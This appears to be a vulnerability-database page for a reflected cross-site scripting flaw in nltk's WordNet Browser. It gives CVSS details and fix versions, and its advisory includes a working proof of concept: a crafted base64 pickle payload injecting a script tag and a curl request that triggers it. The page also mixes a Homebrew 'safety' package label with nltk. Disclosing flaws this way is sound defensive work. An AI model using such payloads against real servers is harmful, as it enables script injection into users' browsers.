VulnerabilityPublished 13 Aug 2026Updated 29 Oct 2026

CVE-2026-33230: Safety · Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in nltk

Affects safetySource GCVE Database

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Not known to be exploited · CVSS 6.1 Medium : upgrade to 3.7.0_7 when convenient.

Data as of 30 Oct 2026, 07:30 UTC

CVSS 3.1 base score

6.1Medium

How severe the flaw is on the 0–10 CVSS scale.

Patch: Available – fixed in 3.7.0_7

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: Required
Scope: Changed
Confidentiality: Low
Integrity: Low
Availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: Required: Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited.
Scope: Changed: An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.
Confidentiality: Low: There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the impacted component.
Integrity: Low: Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact on the impacted component.
Availability: None: There is no impact to availability within the impacted component.

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 13 Aug 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade safety to 3.7.0_7.

Affected software

Product	Affected	Fixed in
Homebrewsafety`pkg:brew/safety`Other threats	Affected >=3.3.1 <3.7.0_7	Fixed in 3.7.0_7

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary `nltk.app.wordnet_app` contains a reflected cross-site scripting issue in the `lookup_...` route. A crafted `lookup_<payload>` URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled `word` data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application. ### Details The vulnerable flow is in `nltk/app/wordnet_app.py`: - [`nltk/app/wordnet_app.py:144`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L144) - Requests starting with `lookup_` are handled as HTML responses: - `page, word = page_from_href(sp)` - [`nltk/app/wordnet_app.py:755`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L755) - `page_from_href()` calls `page_from_reference(Reference.decode(href))` - [`nltk/app/wordnet_app.py:769`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L769) - `word = href.word` - [`nltk/app/wordnet_app.py:796`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L796) - If no results are found, `word` is inserted directly into the HTML body: - `body = "The word or words '%s' were not found in the dictionary." % word` This is inconsistent with the `search` route, which does escape user input: - [`nltk/app/wordnet_app.py:136`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L136) - `word = html.escape(...)` As a result, a malicious `lookup_...` payload can inject script into the response page. The issue is exploitable because: - `Reference.decode()` accepts attacker-controlled base64-encoded pickle data for the URL state. - The decoded `word` is reflected into HTML without `html.escape()`. - The server is started with `HTTPServer(("", port), MyServerHandler)`, so it listens on all interfaces by default, not just `localhost`. ### PoC 1. Start the WordNet Browser in an isolated Docker environment: ```bash docker run -d --name nltk-wordnet-web -p 8002:8002 \ nltk-sandbox \ python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8002, False)" ``` 2. Use the following crafted payload, which decodes to: ```python ("<script>alert(1)</script>", {}) ``` Encoded payload: ```text gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4= ``` 3. Request the vulnerable route: ```bash curl -s "http://127.0.0.1:8002/lookup_gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=" ``` 4. Observed result: ```text The word or words '<script>alert(1)</script>' were not found in the dictionary. ``` <img width="867" height="208" alt="127" src="https://github.com/user-attachments/assets/ec09da08-09bc-4fc4-bfc1-c4489e9adaf6" /> I also validated the issue directly at function level in Docker: ```python import base64 import pickle from nltk.app.wordnet_app import page_from_href payload = base64.urlsafe_b64encode( pickle.dumps(("<script>alert(1)</script>", {}), -1) ).decode() page, word = page_from_href(payload) print(word) print("<script>alert(1)</script>" in page) ``` Observed output: ```text WORD= <script>alert(1)</script> HAS_SCRIPT= True ``` ### Impact This is a reflected XSS issue in the NLTK WordNet Browser web UI. An attacker who can convince a user to open a crafted `lookup_...` URL can execute arbitrary JavaScript in the origin of the local WordNet Browser application. This can be used to: - run arbitrary script in the browser tab - manipulate the page content shown to the user - issue same-origin requests to other WordNet Browser routes - potentially trigger available UI actions in that local app context This primarily impacts users who run `nltk.app.wordnet_app` as a local or self-hosted HTTP service and open attacker-controlled links.

References

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